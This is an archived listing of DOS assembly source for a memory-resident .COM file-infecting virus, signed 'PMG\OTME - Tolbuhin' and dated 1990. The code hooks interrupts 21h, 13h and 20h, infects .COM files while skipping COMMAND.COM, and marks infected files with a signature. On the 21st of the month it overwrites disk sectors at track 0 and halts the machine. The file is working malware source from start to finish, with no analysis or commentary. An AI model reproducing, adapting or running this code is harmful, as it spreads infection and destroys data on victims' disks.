home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / SK20H.ASM < prev    next >
Assembly Source File  |  1980-01-01  |  7KB  |  433 lines

  1. start:  jmp     short begin
  2.     db    (00h)
  3.     db    (53h)
  4.     db    (4bh)
  5.     int    20h
  6. okey:    db    (0b8h)
  7.     db    (03h)
  8.     db    (00h)
  9.     db    (0cdh)
  10.     db    (10h)
  11. begin:    push    cx
  12.     CALL    F1
  13. F1:    POP    SI
  14.     SUB    SI,09
  15.     mov    ax,0
  16.     mov    ds,ax
  17.     mov    word ptr [312h],si
  18.     push    cs
  19.     pop    ds
  20.     push    cs
  21.     pop    es
  22.     cld
  23.     mov    di,100h
  24.     mov    cx,5
  25.     rep    movsb
  26.     jmp    ding2
  27. int20h: mov    ah,00h
  28.     jmp    mm
  29. int21h: STI
  30.         cmp     ah,00h
  31.     jz    mm
  32.     cmp    ah,4ch
  33.     jz    mm
  34.     cmp    ah,0ffh
  35.     jz    mm
  36.         jmp     int1hh
  37. mm:    pushf
  38.         PUSH    AX
  39.     PUSH    BX
  40.     PUSH    CX
  41.     PUSH    DX
  42.     PUSH    DS
  43.     PUSH    ES
  44.     PUSH    SI
  45.     PUSH    DI
  46.     mov    ax,0
  47.     mov    ds,ax
  48.     cmp    byte ptr [302h],0
  49.     jz    mm2
  50.     mov    byte ptr [302h],0
  51.     jmp    main
  52. mm2:    mov    ah,19h
  53.     int    21h
  54.     mov    dl,al
  55.     cmp    dl,01
  56.     jna    mmm5
  57.     add    dl,7Eh
  58.     mov    ax,0
  59.     mov    ds,ax
  60. mmm5:    mov    byte ptr [309h],dl
  61.     mov    byte ptr ch,[308h]
  62.     mov    byte ptr dl,[309h]
  63.     mov    cl,01
  64.     push    cs
  65.     pop    ds
  66.         mov     ax,0201h
  67.     mov    dh,00h
  68.     mov    bx,offset end+7
  69.     push    cs
  70.     pop    es
  71.     int    13h
  72.     mov    ax,0
  73.     mov    ds,ax
  74.     mov    byte ptr ch,[308h]
  75.     mov    byte ptr dl,[309h]
  76.     mov    cl,01
  77.     push    cs
  78.     pop    ds
  79.         mov     ax,0301h
  80.     mov    dh,00h
  81.     mov    bx,offset end+7
  82.     push    cs
  83.     pop    es
  84.     int    13h
  85.     jnc    etk6
  86.     cmp    ah,3
  87.     jnz    etk6
  88.     jmp    main
  89. etk6:    mov    ax,0
  90.     mov    ds,ax
  91.     mov    byte ptr [306h],1
  92.     push    cs
  93.     pop    ds
  94.     mov    ah,2ah
  95.     int    21h
  96.     cmp    dl,21
  97.     jnz    okef
  98.     mov    ax,0309h
  99.     mov    dx,0000h
  100.     mov    cx,0001h
  101.     lea    bx,[100h]
  102.     int    13h
  103.     jmp    short okep
  104. okef:   mov     ax,0
  105.     mov    ds,ax
  106.     inc    word ptr [310h]
  107.     cmp    Word ptr [310h],02FFh
  108.     jnz    et3
  109. okep:    push    cs
  110.     pop    ds
  111.     mov    bx,offset name
  112. et9:    mov    ah,[bx]
  113.     xor    ah,21
  114.     mov    [bx],ah
  115.     inc    bx
  116.     cmp    bx,offset for1
  117.     jnz    et9
  118.         mov     ah,9
  119.     mov    dx,offset name
  120.     int    21h
  121.     cli
  122.     hlt
  123. dinge:    jmp    ding
  124. et3:    push    cs        ;ds <- cs
  125.     pop    ds
  126.     mov    ah,2fh        ;Dos service function ah=2FH (get DTA)
  127.     int    21h        ;ES:BX Addres of current DTA
  128.     mov    [edta],ES
  129.     mov    [bdta],BX
  130.     mov    ah,1ah        ;Dos service function ah=1AH (set DTA)
  131.     mov    dx,offset end+7 ;DS:DX Addres of DTA
  132.     int    21h
  133.     push    cs
  134.     pop    ds
  135.         MOV     AH,4eH
  136.         MOV     DX,offset files
  137.     mov    cx,00
  138.         INT     21H             ;Dos service function ah=4EH (FIND FIRST)
  139.         jc      dinge           ;CX  File attribute
  140.                                 ;DS:DX Pointer of filespec (ASCIIZ string)
  141. vir:    mov    ax,3d02h
  142.     push    cs
  143.     pop    ds
  144.     mov    dx,offset end+7 ;DS:DX Addres of DTA
  145.     add    dx,1EH
  146.     int    21h        ;Dos service function ah=3DH (OPEN FILE)
  147.                                 ;AL Open mode
  148.                                 ;DS:DX Pointer to filename (ASCIIZ string)
  149.                                 ;Return AX file handle
  150.         mov     [handle],ax
  151.     mov    ah,'C'
  152.     mov    al,'D'
  153.         PUSH    DX
  154.         POP     BX
  155.     cmp    [bx],ah ;Compare filename for 'COMMAND.COM'
  156.     jnz    p1        ;If not first char 'C' then push virus in file
  157.     cmp    [bx+6],al
  158.     jz    v        ;If 7 char 'D' then find next file
  159. p1:     mov     bx,handle
  160.         push    cs
  161.     pop    ds
  162.     mov    ah,3fh
  163.     mov    dx,offset end
  164.     mov    cx,5
  165.     int    21h        ;Dos service function ah=3FH (READ FILE)
  166.                                 ;BX File handle
  167.                                 ;CX Number of bytes to read
  168.                                 ;DS:DX Addres of buffer
  169.     push    cs
  170.     pop    es        ;ES <- CS
  171.     cld
  172.         PUSH    DX
  173.         POP     SI
  174.     mov    di,offset okey
  175.     mov    cx,5
  176.     rep    movsb        ;Repeat While CX>0 do ES:DI <- DS:SI
  177.                                 ;                     SI=SI+1
  178.                                 ;                     DI=DI+1
  179.     mov    ax,534bh
  180.     mov    di,dx
  181.     add    di,3
  182.     cmp    [di],ah
  183.     jnz    fuck
  184.     inc    di
  185.     cmp    [di],al
  186.     jnz    fuck
  187. v:    push    cs
  188.     pop    ds
  189.     mov    bx,handle
  190.     mov    ah,3eh
  191.     int    21h
  192.     push    cs
  193.     pop    ds
  194.     mov    ah,4fh
  195.     int    21h
  196.     jc    enzi
  197.     jmp    short vir
  198. enzi:    jmp    ding
  199. fuck:   mov     ax,offset end+7
  200.     add    ax,1aH
  201.     mov    di,ax
  202.         Mov     Word Ptr cx,[di]
  203.         mov     ax,offset end
  204.     mov    di,ax
  205.     mov    al,0e9h
  206.     cmp    cx,1a0h
  207.     jna    v
  208.     add    cx,2
  209.     mov    [di],al
  210.     inc    di
  211.     mov    Word Ptr [di],cx
  212.     mov    ax,534bh
  213.     add    di,2
  214.     mov    [di],ah
  215.     inc    di
  216.     mov    [di],al
  217.         mov     bx,[handle]    ;
  218.     mov    ax,4200h
  219.     xor    cx,cx
  220.     xor    dx,dx
  221.     push    cs
  222.     pop    ds
  223.     int    21h
  224.     mov    bx,handle
  225.     mov    ah,40h
  226.     mov    dx,offset end
  227.     mov    cx,5
  228.     int    21h
  229.     mov    ax,4202h
  230.     xor    cx,cx
  231.     xor    dx,dx
  232.     int    21h
  233.     push    cs
  234.     pop    ds
  235.     mov    bx,handle
  236.     mov    ah,40h
  237.     mov    dx,offset okey
  238.     mov    cx,end-okey
  239.     int    21h
  240.     mov    bx,handle
  241.         mov     ah,3eh
  242.     int    21h
  243.     mov    ax,0000
  244.     mov    ds,ax
  245.     inc    Word ptr [0310h]
  246. ding:    push    cs
  247.     pop    ds
  248.     mov    ah,1ah
  249.     mov    ds,[edta]
  250.     mov    dx,[bdta]
  251.     int    21h
  252.     mov    ax,0
  253.     mov    ds,ax
  254.     mov    byte ptr [306h],0
  255. main:    PUSH    CS
  256.     POP    DS
  257.     POP    DI
  258.     POP    SI
  259.         POP     ES
  260.     POP    DS
  261.     POP    DX
  262.     POP    CX
  263.     POP    BX
  264.     POP    AX
  265.     popf
  266. int1hh    nop
  267. int1h:  db      (0eah)
  268. is:    dw    0
  269. io:    dw    0
  270.  
  271. int13h: cli
  272.     PUSH    BX
  273.     PUSH    CX
  274.     PUSH    DX
  275.     PUSH    DS
  276.     PUSH    ES
  277.     PUSH    SI
  278.     PUSH    DI
  279.     push    ax
  280.     mov    ax,0
  281.     mov    ds,ax
  282.     pop    ax
  283.     mov    byte ptr [308h],ch
  284.     mov    byte ptr [309h],dl
  285.     push    cs
  286.     pop    ds
  287.     push    ax
  288.     push    ds
  289.     cmp    ah,03
  290.     jz    etk2
  291.     cmp    ah,05
  292.     jnz    etk3
  293. etk2:    mov    ax,0000
  294.     mov    ds,ax
  295.     inc    Word ptr [310h]
  296.     cmp    Word ptr [310h],02FEh
  297.     jnz    etk3
  298.     push    cs
  299.     pop    ds
  300.     STI
  301.     int    20h
  302. etk3:    pop    ds
  303.         pop     ax
  304.     STI
  305.         int     65h
  306.     pushf
  307.     push    ax
  308.     mov    ax,0
  309.     mov    ds,ax
  310.     cmp    byte ptr [306h],0
  311.     pop    ax
  312.     jz    etk4
  313.     popf
  314.         clc
  315.     mov    ax,0
  316.     jmp    short etk5
  317. etk4:   popf
  318. etk5:   POP     DI
  319.     POP    SI
  320.         POP     ES
  321.     POP    DS
  322.     POP    DX
  323.     POP    CX
  324.     POP    BX
  325.     db    (0CAH)
  326.     db    (02)
  327.     db    (00)
  328. name:    db    'Virus in memory !!! Created by 21.I.1990 - PMG\OTME - Tolbuhin ...$'
  329. for1:    jmp    ding1
  330. files:    db    '*.com',0
  331. ding2:    mov    ax,0000h
  332.     mov    ds,ax
  333.         MOV     BX,300H
  334.     MOV    CX,4b53h
  335.     cmp    [bx],cx
  336.     jz    for1
  337.         mov     [bx],cx
  338.         mov     ah,62h
  339.     int    21h
  340.     mov    ds,bx
  341.     mov    bx,[2ch]
  342.     dec    bx
  343.     mov    dx,0FFFFh
  344. loc_1:    mov    ds,bx
  345.     mov    di,[3]
  346.     inc    di
  347.     add    dx,di
  348.     add    bx,di
  349.     cmp    byte ptr [0000],5Ah
  350.     jne    loc_1
  351.     mov    cx,es
  352.     add    cx,dx
  353.     sub    word ptr [3],80h
  354.     sub    cx,80h
  355.     sub    cx,10h
  356.     mov    es,cx
  357.     mov    di,100h
  358.     cld
  359.         mov     ax,0000h
  360.         mov     ds,ax
  361.         mov     bx,[004ch]
  362.         mov     [0194h],bx
  363.         mov     cx,[004eh]
  364.         mov     [0196h],cx
  365.     mov    ax,0
  366.     mov    ds,ax
  367. lenf    equ    word ptr ds:[312h]
  368.         mov     ax,0000h
  369.     mov    ds,ax
  370.     mov    bx,[0084h]
  371.     mov    cx,[0086h]
  372.     mov    ax,0
  373.     mov    ds,ax
  374.         mov     di,is-okey
  375.         add     di,lenf
  376.     push    cs
  377.     pop    ds
  378.     mov    [di],bx
  379.     mov    [di+2],cx
  380.     mov    ax,0
  381.     mov    ds,ax
  382.     mov    si,[312h]
  383.     sub    si,7
  384.     push    cs
  385.     pop    ds
  386.     mov    di,100h
  387.     mov    cx,800h
  388.     rep    movsb
  389.     mov    ax,0000
  390.     mov    ds,ax
  391.     cli
  392.     mov    WORD PTR [0086h],ES
  393.         mov     WORD PTR [004eh],ES
  394.     mov    word ptr [0082h],es
  395.     mov    di,int20h-okey
  396.     add    di,107h
  397.         mov     WORD PTR [0080h],di
  398.     mov    di,int13h-okey
  399.     add    di,107h
  400.         mov     WORD PTR [004ch],di
  401.     mov    di,int21h-okey
  402.     add    di,107h
  403.     mov    WORD PTR [0084h],di
  404.     sti
  405. Ding1:    mov    ax,0
  406.     mov    ds,ax
  407.     mov    byte ptr [306h],1
  408.     mov    byte ptr [302h],0
  409.     mov    ah,19h
  410.     int    21h
  411.     mov    dl,al
  412.     cmp    dl,01
  413.     jna    mmm
  414.     add    dl,7Eh
  415. mmm:    mov    byte ptr [309h],dl
  416.     push    cs
  417.     pop    ds
  418.     mov    ah,0ffh
  419.     int    21h
  420. for:    mov    ax,0
  421.     mov    ds,ax
  422.     mov    byte ptr [306h],0
  423.     mov    byte ptr [302h],1
  424.     PUSH    CS
  425.     POP    DS
  426.     pop    cx
  427.     mov    si,100h
  428.     jmp    si
  429. handle: dw    ?
  430. edta:    dw    ?
  431. bdta:    dw    ?
  432. com:    db    'COMMAND'
  433. end:    db      (00)